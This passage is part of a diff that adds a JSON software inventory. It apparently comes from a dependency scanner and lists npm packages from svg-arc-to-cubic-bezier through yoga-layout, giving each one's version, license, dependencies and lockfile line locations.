+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9501,
+ "EndLine": 9512
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "svg-arc-to-cubic-bezier@3.2.0",
+ "Name": "svg-arc-to-cubic-bezier",
+ "Identifier": {
+ "PURL": "pkg:npm/svg-arc-to-cubic-bezier@3.2.0",
+ "UID": "bb7c6945c3c74800"
+ },
+ "Version": "3.2.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9513,
+ "EndLine": 9518
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "swagger-ui-dist@5.32.6",
+ "Name": "swagger-ui-dist",
+ "Identifier": {
+ "PURL": "pkg:npm/swagger-ui-dist@5.32.6",
+ "UID": "6bd94cefa195198d"
+ },
+ "Version": "5.32.6",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@scarf/scarf@1.4.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9519,
+ "EndLine": 9527
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "swagger-ui-express@5.0.1",
+ "Name": "swagger-ui-express",
+ "Identifier": {
+ "PURL": "pkg:npm/swagger-ui-express@5.0.1",
+ "UID": "366d31b1a12dfada"
+ },
+ "Version": "5.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "express@4.22.1",
+ "swagger-ui-dist@5.32.6"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9528,
+ "EndLine": 9542
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "tailwindcss@3.4.19",
+ "Name": "tailwindcss",
+ "Identifier": {
+ "PURL": "pkg:npm/tailwindcss@3.4.19",
+ "UID": "bcaf508ae7befb5a"
+ },
+ "Version": "3.4.19",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@alloc/quick-lru@5.2.0",
+ "arg@5.0.2",
+ "chokidar@3.6.0",
+ "didyoumean@1.2.2",
+ "dlv@1.1.3",
+ "fast-glob@3.3.3",
+ "glob-parent@6.0.2",
+ "is-glob@4.0.3",
+ "jiti@1.21.7",
+ "lilconfig@3.1.3",
+ "micromatch@4.0.8",
+ "normalize-path@3.0.0",
+ "object-hash@3.0.0",
+ "picocolors@1.1.1",
+ "postcss-import@15.1.0",
+ "postcss-js@4.1.0",
+ "postcss-load-config@6.0.1",
+ "postcss-nested@6.2.0",
+ "postcss-selector-parser@6.1.2",
+ "postcss@8.5.12",
+ "resolve@1.22.12",
+ "sucrase@3.35.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9543,
+ "EndLine": 9579
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "teeny-request@9.0.0",
+ "Name": "teeny-request",
+ "Identifier": {
+ "PURL": "pkg:npm/teeny-request@9.0.0",
+ "UID": "410cf71ec1aee73d"
+ },
+ "Version": "9.0.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "http-proxy-agent@5.0.0",
+ "https-proxy-agent@5.0.1",
+ "node-fetch@2.7.0",
+ "stream-events@1.0.5",
+ "uuid@9.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9580,
+ "EndLine": 9596
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "thenify@3.3.1",
+ "Name": "thenify",
+ "Identifier": {
+ "PURL": "pkg:npm/thenify@3.3.1",
+ "UID": "af56b07a8a30f283"
+ },
+ "Version": "3.3.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "any-promise@1.3.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9646,
+ "EndLine": 9654
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "thenify-all@1.6.0",
+ "Name": "thenify-all",
+ "Identifier": {
+ "PURL": "pkg:npm/thenify-all@1.6.0",
+ "UID": "8b86266e612ded9a"
+ },
+ "Version": "1.6.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "thenify@3.3.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9655,
+ "EndLine": 9666
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "thirty-two@1.0.2",
+ "Name": "thirty-two",
+ "Identifier": {
+ "PURL": "pkg:npm/thirty-two@1.0.2",
+ "UID": "972bf9550469fb2a"
+ },
+ "Version": "1.0.2",
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9667,
+ "EndLine": 9674
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "tiny-inflate@1.0.3",
+ "Name": "tiny-inflate",
+ "Identifier": {
+ "PURL": "pkg:npm/tiny-inflate@1.0.3",
+ "UID": "5bb1f1c655ebfefa"
+ },
+ "Version": "1.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9675,
+ "EndLine": 9680
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "tiny-invariant@1.3.3",
+ "Name": "tiny-invariant",
+ "Identifier": {
+ "PURL": "pkg:npm/tiny-invariant@1.3.3",
+ "UID": "64a2cc008f6037cf"
+ },
+ "Version": "1.3.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9681,
+ "EndLine": 9686
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "tinyglobby@0.2.16",
+ "Name": "tinyglobby",
+ "Identifier": {
+ "PURL": "pkg:npm/tinyglobby@0.2.16",
+ "UID": "643b1603c2c312fe"
+ },
+ "Version": "0.2.16",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "fdir@6.5.0",
+ "picomatch@4.0.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9694,
+ "EndLine": 9709
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "to-regex-range@5.0.1",
+ "Name": "to-regex-range",
+ "Identifier": {
+ "PURL": "pkg:npm/to-regex-range@5.0.1",
+ "UID": "dce6683ac56c2cb8"
+ },
+ "Version": "5.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "is-number@7.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9759,
+ "EndLine": 9770
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "toidentifier@1.0.1",
+ "Name": "toidentifier",
+ "Identifier": {
+ "PURL": "pkg:npm/toidentifier@1.0.1",
+ "UID": "5dcb7a047e2a9c0a"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9771,
+ "EndLine": 9779
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "tr46@0.0.3",
+ "Name": "tr46",
+ "Identifier": {
+ "PURL": "pkg:npm/tr46@0.0.3",
+ "UID": "57e38f91fc86bbaf"
+ },
+ "Version": "0.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9780,
+ "EndLine": 9785
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ts-interface-checker@0.1.13",
+ "Name": "ts-interface-checker",
+ "Identifier": {
+ "PURL": "pkg:npm/ts-interface-checker@0.1.13",
+ "UID": "ea627d1dce8f1eda"
+ },
+ "Version": "0.1.13",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9796,
+ "EndLine": 9801
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "tslib@2.4.1",
+ "Name": "tslib",
+ "Identifier": {
+ "PURL": "pkg:npm/tslib@2.4.1",
+ "UID": "938eb7dd47d57366"
+ },
+ "Version": "2.4.1",
+ "Licenses": [
+ "0BSD"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 9938,
+ "EndLine": 9943
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "tslib@2.8.1",
+ "Name": "tslib",
+ "Identifier": {
+ "PURL": "pkg:npm/tslib@2.8.1",
+ "UID": "7d448d88841bb7c9"
+ },
+ "Version": "2.8.1",
+ "Licenses": [
+ "0BSD"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2746,
+ "EndLine": 2751
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "twilio@5.13.1",
+ "Name": "twilio",
+ "Identifier": {
+ "PURL": "pkg:npm/twilio@5.13.1",
+ "UID": "e506e058cde5eddc"
+ },
+ "Version": "5.13.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "axios@1.15.2",
+ "dayjs@1.11.20",
+ "https-proxy-agent@5.0.1",
+ "jsonwebtoken@9.0.3",
+ "qs@6.14.2",
+ "scmp@2.1.0",
+ "xmlbuilder@13.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10046,
+ "EndLine": 10063
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "type-is@1.6.18",
+ "Name": "type-is",
+ "Identifier": {
+ "PURL": "pkg:npm/type-is@1.6.18",
+ "UID": "c25461935b074dde"
+ },
+ "Version": "1.6.18",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "media-typer@0.3.0",
+ "mime-types@2.1.35"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10125,
+ "EndLine": 10137
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "typedarray@0.0.6",
+ "Name": "typedarray",
+ "Identifier": {
+ "PURL": "pkg:npm/typedarray@0.0.6",
+ "UID": "63554f9897990a29"
+ },
+ "Version": "0.0.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10138,
+ "EndLine": 10143
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "undici-types@6.21.0",
+ "Name": "undici-types",
+ "Identifier": {
+ "PURL": "pkg:npm/undici-types@6.21.0",
+ "UID": "f614ce5674228d65"
+ },
+ "Version": "6.21.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10165,
+ "EndLine": 10170
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "unicode-properties@1.4.1",
+ "Name": "unicode-properties",
+ "Identifier": {
+ "PURL": "pkg:npm/unicode-properties@1.4.1",
+ "UID": "a913907ac4615bcc"
+ },
+ "Version": "1.4.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "base64-js@1.5.1",
+ "unicode-trie@2.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10171,
+ "EndLine": 10180
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "unicode-trie@2.0.0",
+ "Name": "unicode-trie",
+ "Identifier": {
+ "PURL": "pkg:npm/unicode-trie@2.0.0",
+ "UID": "517e67a099841716"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "pako@0.2.9",
+ "tiny-inflate@1.0.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10181,
+ "EndLine": 10190
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "unpipe@1.0.0",
+ "Name": "unpipe",
+ "Identifier": {
+ "PURL": "pkg:npm/unpipe@1.0.0",
+ "UID": "85162f7d71412aff"
+ },
+ "Version": "1.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10197,
+ "EndLine": 10205
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "update-browserslist-db@1.2.3",
+ "Name": "update-browserslist-db",
+ "Identifier": {
+ "PURL": "pkg:npm/update-browserslist-db@1.2.3",
+ "UID": "1760f655314ca94"
+ },
+ "Version": "1.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "browserslist@4.28.2",
+ "escalade@3.2.0",
+ "picocolors@1.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10206,
+ "EndLine": 10235
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "util-deprecate@1.0.2",
+ "Name": "util-deprecate",
+ "Identifier": {
+ "PURL": "pkg:npm/util-deprecate@1.0.2",
+ "UID": "dc2ba32c061c2bbd"
+ },
+ "Version": "1.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10246,
+ "EndLine": 10251
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "utils-merge@1.0.1",
+ "Name": "utils-merge",
+ "Identifier": {
+ "PURL": "pkg:npm/utils-merge@1.0.1",
+ "UID": "308fe9693a5f5a4b"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10252,
+ "EndLine": 10260
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "uuid@10.0.0",
+ "Name": "uuid",
+ "Identifier": {
+ "PURL": "pkg:npm/uuid@10.0.0",
+ "UID": "3aebb3e4d3409ba3"
+ },
+ "Version": "10.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10261,
+ "EndLine": 10274
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "uuid@8.3.2",
+ "Name": "uuid",
+ "Identifier": {
+ "PURL": "pkg:npm/uuid@8.3.2",
+ "UID": "6e5d7e5bc86220f1"
+ },
+ "Version": "8.3.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 849,
+ "EndLine": 859
+ },
+ {
+ "StartLine": 7352,
+ "EndLine": 7361
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "uuid@9.0.1",
+ "Name": "uuid",
+ "Identifier": {
+ "PURL": "pkg:npm/uuid@9.0.1",
+ "UID": "f9285e1af833eb69"
+ },
+ "Version": "9.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5759,
+ "EndLine": 5773
+ },
+ {
+ "StartLine": 5950,
+ "EndLine": 5964
+ },
+ {
+ "StartLine": 9624,
+ "EndLine": 9638
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "vary@1.1.2",
+ "Name": "vary",
+ "Identifier": {
+ "PURL": "pkg:npm/vary@1.1.2",
+ "UID": "91872cb95e28b11c"
+ },
+ "Version": "1.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10282,
+ "EndLine": 10290
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "victory-vendor@36.9.2",
+ "Name": "victory-vendor",
+ "Identifier": {
+ "PURL": "pkg:npm/victory-vendor@36.9.2",
+ "UID": "468359c5deff04ec"
+ },
+ "Version": "36.9.2",
+ "Licenses": [
+ "MIT AND ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/d3-array@3.2.2",
+ "@types/d3-ease@3.0.2",
+ "@types/d3-interpolate@3.0.4",
+ "@types/d3-scale@4.0.9",
+ "@types/d3-shape@3.1.8",
+ "@types/d3-time@3.0.4",
+ "@types/d3-timer@3.0.2",
+ "d3-array@3.2.4",
+ "d3-ease@3.0.1",
+ "d3-interpolate@3.0.1",
+ "d3-scale@4.0.2",
+ "d3-shape@3.2.0",
+ "d3-time@3.1.0",
+ "d3-timer@3.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10291,
+ "EndLine": 10312
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "vite-compatible-readable-stream@3.6.1",
+ "Name": "vite-compatible-readable-stream",
+ "Identifier": {
+ "PURL": "pkg:npm/vite-compatible-readable-stream@3.6.1",
+ "UID": "70fc570869741b4c"
+ },
+ "Version": "3.6.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "inherits@2.0.4",
+ "string_decoder@1.3.0",
+ "util-deprecate@1.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10373,
+ "EndLine": 10386
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "webidl-conversions@3.0.1",
+ "Name": "webidl-conversions",
+ "Identifier": {
+ "PURL": "pkg:npm/webidl-conversions@3.0.1",
+ "UID": "22cb78eaf3dd9e6a"
+ },
+ "Version": "3.0.1",
+ "Licenses": [
+ "BSD-2-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10476,
+ "EndLine": 10481
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "websocket-driver@0.7.4",
+ "Name": "websocket-driver",
+ "Identifier": {
+ "PURL": "pkg:npm/websocket-driver@0.7.4",
+ "UID": "6904478a1f2775b9"
+ },
+ "Version": "0.7.4",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "http-parser-js@0.5.10",
+ "safe-buffer@5.2.1",
+ "websocket-extensions@0.1.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10482,
+ "EndLine": 10495
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "websocket-extensions@0.1.4",
+ "Name": "websocket-extensions",
+ "Identifier": {
+ "PURL": "pkg:npm/websocket-extensions@0.1.4",
+ "UID": "856af7a2bf1b9abc"
+ },
+ "Version": "0.1.4",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10496,
+ "EndLine": 10504
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "whatwg-url@5.0.0",
+ "Name": "whatwg-url",
+ "Identifier": {
+ "PURL": "pkg:npm/whatwg-url@5.0.0",
+ "UID": "9e7fb5dcbf1ebb28"
+ },
+ "Version": "5.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "tr46@0.0.3",
+ "webidl-conversions@3.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10505,
+ "EndLine": 10514
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "which@2.0.2",
+ "Name": "which",
+ "Identifier": {
+ "PURL": "pkg:npm/which@2.0.2",
+ "UID": "68a3a6f0695bf29e"
+ },
+ "Version": "2.0.2",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "isexe@2.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10515,
+ "EndLine": 10529
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "which-module@2.0.1",
+ "Name": "which-module",
+ "Identifier": {
+ "PURL": "pkg:npm/which-module@2.0.1",
+ "UID": "ddaa14d081e0cac8"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10530,
+ "EndLine": 10535
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "wrap-ansi@6.2.0",
+ "Name": "wrap-ansi",
+ "Identifier": {
+ "PURL": "pkg:npm/wrap-ansi@6.2.0",
+ "UID": "87624d39608594d3"
+ },
+ "Version": "6.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ansi-styles@4.3.0",
+ "string-width@4.2.3",
+ "strip-ansi@6.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8254,
+ "EndLine": 8267
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "wrap-ansi@7.0.0",
+ "Name": "wrap-ansi",
+ "Identifier": {
+ "PURL": "pkg:npm/wrap-ansi@7.0.0",
+ "UID": "982d5a2039b6b58"
+ },
+ "Version": "7.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ansi-styles@4.3.0",
+ "string-width@4.2.3",
+ "strip-ansi@6.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10563,
+ "EndLine": 10580
+ },
+ {
+ "StartLine": 10581,
+ "EndLine": 10598
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "wrap-ansi@8.1.0",
+ "Name": "wrap-ansi",
+ "Identifier": {
+ "PURL": "pkg:npm/wrap-ansi@8.1.0",
+ "UID": "45114ad23571b894"
+ },
+ "Version": "8.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ansi-styles@6.2.3",
+ "string-width@5.1.2",
+ "strip-ansi@7.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1500,
+ "EndLine": 1516
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "wrappy@1.0.2",
+ "Name": "wrappy",
+ "Identifier": {
+ "PURL": "pkg:npm/wrappy@1.0.2",
+ "UID": "f1d07c8fd84add11"
+ },
+ "Version": "1.0.2",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10599,
+ "EndLine": 10605
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ws@8.18.3",
+ "Name": "ws",
+ "Identifier": {
+ "PURL": "pkg:npm/ws@8.18.3",
+ "UID": "eed5161b69f5e052"
+ },
+ "Version": "8.18.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10606,
+ "EndLine": 10626
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "xmlbuilder@13.0.2",
+ "Name": "xmlbuilder",
+ "Identifier": {
+ "PURL": "pkg:npm/xmlbuilder@13.0.2",
+ "UID": "8c2be3e12111bbb6"
+ },
+ "Version": "13.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10627,
+ "EndLine": 10635
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "xmlhttprequest-ssl@2.1.2",
+ "Name": "xmlhttprequest-ssl",
+ "Identifier": {
+ "PURL": "pkg:npm/xmlhttprequest-ssl@2.1.2",
+ "UID": "3dede53d251917b7"
+ },
+ "Version": "2.1.2",
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10636,
+ "EndLine": 10643
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "xtend@4.0.2",
+ "Name": "xtend",
+ "Identifier": {
+ "PURL": "pkg:npm/xtend@4.0.2",
+ "UID": "d7cf8d0c4716bf55"
+ },
+ "Version": "4.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10644,
+ "EndLine": 10652
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "y18n@4.0.3",
+ "Name": "y18n",
+ "Identifier": {
+ "PURL": "pkg:npm/y18n@4.0.3",
+ "UID": "9367384f1293349b"
+ },
+ "Version": "4.0.3",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8268,
+ "EndLine": 8273
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "y18n@5.0.8",
+ "Name": "y18n",
+ "Identifier": {
+ "PURL": "pkg:npm/y18n@5.0.8",
+ "UID": "bcfbb5cd62aa94d2"
+ },
+ "Version": "5.0.8",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10653,
+ "EndLine": 10662
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "yallist@4.0.0",
+ "Name": "yallist",
+ "Identifier": {
+ "PURL": "pkg:npm/yallist@4.0.0",
+ "UID": "7b5971a8071e889d"
+ },
+ "Version": "4.0.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10663,
+ "EndLine": 10668
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "yargs@15.4.1",
+ "Name": "yargs",
+ "Identifier": {
+ "PURL": "pkg:npm/yargs@15.4.1",
+ "UID": "6718c6c083192d6a"
+ },
+ "Version": "15.4.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "cliui@6.0.0",
+ "decamelize@1.2.0",
+ "find-up@4.1.0",
+ "get-caller-file@2.0.5",
+ "require-directory@2.1.1",
+ "require-main-filename@2.0.0",
+ "set-blocking@2.0.0",
+ "string-width@4.2.3",
+ "which-module@2.0.1",
+ "y18n@4.0.3",
+ "yargs-parser@18.1.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8274,
+ "EndLine": 8295
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "yargs@17.7.2",
+ "Name": "yargs",
+ "Identifier": {
+ "PURL": "pkg:npm/yargs@17.7.2",
+ "UID": "c7cb7066f2927f1b"
+ },
+ "Version": "17.7.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "cliui@8.0.1",
+ "escalade@3.2.0",
+ "get-caller-file@2.0.5",
+ "require-directory@2.1.1",
+ "string-width@4.2.3",
+ "y18n@5.0.8",
+ "yargs-parser@21.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10669,
+ "EndLine": 10687
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "yargs-parser@18.1.3",
+ "Name": "yargs-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/yargs-parser@18.1.3",
+ "UID": "ecffec74bd33ee63"
+ },
+ "Version": "18.1.3",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "camelcase@5.3.1",
+ "decamelize@1.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8296,
+ "EndLine": 8308
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "yargs-parser@21.1.1",
+ "Name": "yargs-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/yargs-parser@21.1.1",
+ "UID": "64e922640a701c04"
+ },
+ "Version": "21.1.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10688,
+ "EndLine": 10697
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "yocto-queue@0.1.0",
+ "Name": "yocto-queue",
+ "Identifier": {
+ "PURL": "pkg:npm/yocto-queue@0.1.0",
+ "UID": "a56c64d4eb0785d4"
+ },
+ "Version": "0.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 10708,
+ "EndLine": 10720
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "yoga-layout@2.0.1",
+ "Name": "yoga-layout",
+ "Identifier": {
